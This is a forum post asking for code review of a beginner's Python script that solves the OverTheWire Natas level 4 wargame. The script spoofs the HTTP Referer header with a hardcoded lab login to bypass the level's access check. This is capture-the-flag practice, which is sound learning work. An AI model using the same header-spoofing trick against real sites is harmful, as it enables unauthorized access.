I've just recently started running some wargames (Natas, OverTheWire) and thought I'd implement some of my scripting experience to solve them instead of doing it manually (though I did that first).

I've got this script:

    import requests
    from requests.auth import HTTPBasicAuth
    
    def exploit(host, credentials):
        print(host)
        try:
    
            r = requests.get(host,
                             auth=HTTPBasicAuth(credentials[0],
                                                credentials[1]),
                             headers={'referer': 'http://natas5.natas.labs.overthewire.org/'}
                             )
    
            print([line for line in r.content.decode('ascii').split('\n') \
                   if 'natas5' in line][0])
    
        except Exception as e:
            print(e)
    
    def main():
        host = 'http://natas4.natas.labs.overthewire.org'
        credentials = ('natas4', 'Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ')
        exploit(host, credentials)
    
    if __name__ == '__main__':
        main()

I was hoping that I could get some general feedback on it. 

I know it's a really basic script, but I'd really want to know if I'm following the right coding conventions and if there are ways of making a bit *better*. I've rarely used the `requests` library, so I'm still fairly new to it.